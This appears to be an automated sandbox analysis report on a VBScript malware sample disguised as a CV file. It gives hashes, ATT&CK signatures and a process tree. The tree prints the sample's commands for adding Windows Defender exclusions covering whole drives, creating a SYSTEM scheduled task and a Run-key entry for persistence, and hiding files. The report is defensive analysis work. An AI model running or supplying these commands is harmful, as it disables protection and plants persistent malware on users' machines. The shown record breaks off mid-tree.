dc97185bc23c670b69bdcce7038e903901246578a50b35fbe2a8f8a93fb47d55

Analysis

max time kernel
149s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/11/2026, 12:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Bahati_Lulu_CV.vbs
Size 10.1MB
Sample261102-pefp7avy5k
SHA256 dc97185bc23c670b69bdcce7038e903901246578a50b35fbe2a8f8a93fb47d55
MD5 22dc2ca3fa5f09c1e66c6c534458c848
SHA1 904cb0f07106e3319204b2f27751b55fd13ea27b
SHA512 3fe96bdd71077bbe0db6e559461ea222e13d62b0020703a2b7e2af747dc4dcd58e6c4f7134032797fc794eaf9e12237b3829631a4ed1b9b10333b6bacfba8d93
SSDEEP 3072:BHmx9+00T3I8WwNgS/sdO4ynbR44Xoh9Kh7l1W9KQx+ZEdVhHNVb1XbK+BureUtT:R
TLSH
T148B631B64202A2B004B300A16D4F93B5F1D24E6ED3217DBB1DBE76A03B7651E77A74D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
28	3004	wscript.exe
31	3004	wscript.exe
39	4844	wscript.exe
41	4844	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4384	powershell.exe
4348	powershell.exe
2952	powershell.exe
4348	powershell.exe
2952	powershell.exe
4384	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation	WScript.exe

Deletes itself 1 TTPs 1 IoCs

defense_evasion

File Deletion

T1070.004

pid	Process
1096	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Network Check = "wscript.exe C:\\Users\\Public\\WindowsUpdate\\Bahati_Lulu_CV.vbs //b //nologo"	reg.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs

execution

Visual Basic

T1059.005

pid	Process
1096	WScript.exe
3004	wscript.exe
4844	wscript.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 32 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
64	cmd.exe
2388	cmd.exe
2440	cmd.exe
2436	cmd.exe
1900	cmd.exe
3560	cmd.exe
4084	cmd.exe
2960	cmd.exe
2836	cmd.exe
4108	cmd.exe
2920	cmd.exe
2240	cmd.exe
4168	cmd.exe
4316	cmd.exe
3796	cmd.exe
3192	cmd.exe
1596	cmd.exe
4900	cmd.exe
4640	cmd.exe
3816	cmd.exe
4788	cmd.exe
1924	cmd.exe
2824	cmd.exe
764	cmd.exe
228	cmd.exe
3828	cmd.exe
4484	cmd.exe
2220	cmd.exe
856	cmd.exe
1068	cmd.exe
2620	cmd.exe
4884	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3436	cmd.exe
2536	cmd.exe
2968	cmd.exe
376	cmd.exe
2856	cmd.exe
3360	cmd.exe
3692	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3736	schtasks.exe
2288	schtasks.exe
1728	schtasks.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc	stream
HTTP User-Agent header	28	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	31	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1
HTTP User-Agent header	39	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	41	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4384	powershell.exe
4384	powershell.exe
4348	powershell.exe
4348	powershell.exe
2952	powershell.exe
2952	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4384	powershell.exe
Token: SeDebugPrivilege	4348	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1096 wrote to memory of 4484	1096	WScript.exe	85
PID 4484 wrote to memory of 5080	4484	cmd.exe	87
PID 1096 wrote to memory of 1068	1096	WScript.exe	88
PID 1068 wrote to memory of 3192	1068	cmd.exe	90
PID 1096 wrote to memory of 1924	1096	WScript.exe	91
PID 1924 wrote to memory of 1744	1924	cmd.exe	93
PID 1096 wrote to memory of 3560	1096	WScript.exe	94
PID 3560 wrote to memory of 4024	3560	cmd.exe	96
PID 1096 wrote to memory of 3796	1096	WScript.exe	97
PID 3796 wrote to memory of 4624	3796	cmd.exe	99
PID 1096 wrote to memory of 4384	1096	WScript.exe	100
PID 1096 wrote to memory of 3736	1096	WScript.exe	101
PID 1096 wrote to memory of 3840	1096	WScript.exe	104
PID 1096 wrote to memory of 3436	1096	WScript.exe	108
PID 3436 wrote to memory of 2068	3436	cmd.exe	110
PID 3436 wrote to memory of 5088	3436	cmd.exe	111
PID 1096 wrote to memory of 1500	1096	WScript.exe	112
PID 1096 wrote to memory of 4788	1096	WScript.exe	114
PID 1096 wrote to memory of 2824	1096	WScript.exe	116
PID 2824 wrote to memory of 3944	2824	cmd.exe	118
PID 2220 wrote to memory of 2460	2220	cmd.exe	132
PID 4108 wrote to memory of 4152	4108	cmd.exe	135
PID 3192 wrote to memory of 3284	3192	cmd.exe	138
PID 2620 wrote to memory of 3132	2620	cmd.exe	141
PID 4084 wrote to memory of 4608	4084	cmd.exe	144
PID 764 wrote to memory of 4332	764	cmd.exe	149
PID 2920 wrote to memory of 2692	2920	cmd.exe	152
PID 2240 wrote to memory of 4780	2240	cmd.exe	155
PID 2536 wrote to memory of 1880	2536	cmd.exe	158
PID 2536 wrote to memory of 1728	2536	cmd.exe	159
PID 228 wrote to memory of 4892	228	cmd.exe	164
PID 2968 wrote to memory of 2116	2968	cmd.exe	167
PID 4884 wrote to memory of 4448	4884	cmd.exe	170
PID 1596 wrote to memory of 4300	1596	cmd.exe	173
PID 4168 wrote to memory of 1696	4168	cmd.exe	176
PID 856 wrote to memory of 3352	856	cmd.exe	179
PID 4844 wrote to memory of 4900	4844	wscript.exe	183
PID 4900 wrote to memory of 5028	4900	cmd.exe	185
PID 4844 wrote to memory of 4640	4844	wscript.exe	186
PID 4640 wrote to memory of 5080	4640	cmd.exe	188
PID 4844 wrote to memory of 64	4844	wscript.exe	189
PID 64 wrote to memory of 5012	64	cmd.exe	191
PID 4844 wrote to memory of 2388	4844	wscript.exe	192
PID 2388 wrote to memory of 792	2388	cmd.exe	194
PID 4844 wrote to memory of 3816	4844	wscript.exe	195
PID 3816 wrote to memory of 4896	3816	cmd.exe	197
PID 4844 wrote to memory of 2952	4844	wscript.exe	198
PID 4844 wrote to memory of 4316	4844	wscript.exe	200
PID 4316 wrote to memory of 3044	4316	cmd.exe	202
PID 4844 wrote to memory of 3828	4844	wscript.exe	203
PID 3828 wrote to memory of 756	3828	cmd.exe	205
PID 4844 wrote to memory of 2440	4844	wscript.exe	206
PID 2440 wrote to memory of 4732	2440	cmd.exe	208
PID 4844 wrote to memory of 2856	4844	wscript.exe	209
PID 2856 wrote to memory of 3280	2856	cmd.exe	211
PID 2856 wrote to memory of 3268	2856	cmd.exe	212
PID 4844 wrote to memory of 1728	4844	wscript.exe	213
PID 4844 wrote to memory of 4788	4844	wscript.exe	215
PID 4788 wrote to memory of 116	4788	cmd.exe	217
PID 4844 wrote to memory of 3360	4844	wscript.exe	218
PID 3360 wrote to memory of 220	3360	cmd.exe	220
PID 4844 wrote to memory of 2436	4844	wscript.exe	221
PID 2436 wrote to memory of 4448	2436	cmd.exe	223
PID 4844 wrote to memory of 1900	4844	wscript.exe	224

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 34 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4624	attrib.exe
4300	attrib.exe
4024	attrib.exe
2692	attrib.exe
4780	attrib.exe
1696	attrib.exe
5080	attrib.exe
3944	attrib.exe
5012	attrib.exe
792	attrib.exe
756	attrib.exe
4300	attrib.exe
3724	attrib.exe
1744	attrib.exe
2460	attrib.exe
3132	attrib.exe
4448	attrib.exe
4608	attrib.exe
4332	attrib.exe
4896	attrib.exe
220	attrib.exe
4448	attrib.exe
4152	attrib.exe
3044	attrib.exe
116	attrib.exe
3192	attrib.exe
3284	attrib.exe
4892	attrib.exe
3352	attrib.exe
3732	attrib.exe
2116	attrib.exe
5028	attrib.exe
5080	attrib.exe
4732	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Bahati_Lulu_CV.vbs"
1⤵
- Checks computer location settings
- Deletes itself
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Admin\AppData\Local\Temp\kevinulc_msupdate_admin_marker.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4484
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Temp\kevinulc_msupdate_admin_marker.txt"
    3⤵
    - Views/modifies file attributes
    PID:5080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1068
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate"
    3⤵
    - Views/modifies file attributes
    PID:3192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:1744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3560
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:4024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3796
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:4624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\','D:\','E:\','F:\','G:\','H:\','I:\','C:\Users\Public\WindowsUpdate' ; Add-MpPreference -ExclusionProcess 'wscript.exe','cscript.exe','powershell.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4384
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /tn MicrosoftNetworkCheckService /tr "C:\Windows\System32\wscript.exe C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs //b //nologo" /sc minute /mo 1 /st 00:09 /ru SYSTEM /rl HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3736
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /query /tn MicrosoftNetworkCheckService
  2⤵
  PID:3840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" 2>nul | findstr "S-1-5-21"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3436
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"
    3⤵
    PID:2068
- - C:\Windows\system32\findstr.exe
    findstr "S-1-5-21"
    3⤵
    PID:5088
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKU\S-1-5-21-747854149-4118156852-591593384-1000\Software\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft Network Check" /t REG_SZ /d "wscript.exe "C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs" //b //nologo" /f
  2⤵
  - Adds Run key to start application
  PID:1500
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" query "HKU\S-1-5-21-747854149-4118156852-591593384-1000\Software\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft Network Check"
  2⤵
  PID:4788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.setup_init"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.setup_init"
    3⤵
    - Views/modifies file attributes
    PID:3944

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:2948

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs //b //nologo
1⤵
- Badlisted process makes network request
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- Modifies data under HKEY_USERS
PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Windows\TEMP\kevinulc_msupdate_admin_marker.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Windows\TEMP\kevinulc_msupdate_admin_marker.txt"
    3⤵
    - Views/modifies file attributes
    PID:2460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate"
    3⤵
    - Views/modifies file attributes
    PID:4152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3192
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:3284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:3132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4084
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:4608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\','D:\','E:\','F:\','G:\','H:\','I:\','C:\Users\Public\WindowsUpdate' ; Add-MpPreference -ExclusionProcess 'wscript.exe','cscript.exe','powershell.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:764
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\usbwatch_last_run.txt"
    3⤵
    - Views/modifies file attributes
    PID:4332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\.usb_seen_v4.txt"
    3⤵
    - Views/modifies file attributes
    PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate\mservice_debug.log"
    3⤵
    - Views/modifies file attributes
    PID:4780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" 2>nul | findstr "S-1-5-21"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"
    3⤵
    PID:1880
- - C:\Windows\system32\findstr.exe
    findstr "S-1-5-21"
    3⤵
    PID:1728
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /tn MicrosoftNetworkCheckService /tr "C:\Windows\System32\wscript.exe C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs //b //nologo" /sc minute /mo 1 /st 00:09 /ru SYSTEM /rl HIGHEST
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib +h +s "C:\Users\Public\WindowsUpdate"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:228
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Public\WindowsUpdate"
    3⤵
    - Views/modifies file attributes
    PID:4892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c attrib -h -s +a "C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\system32\attrib.exe
    attrib -h -s +a "C:\Users\Public\WindowsUpdate\Bahati_Lulu_CV.vbs"
    3⤵
    - Views/modifies file attributes
    PID:2116
- C:\Windows\System32\cmd.exe
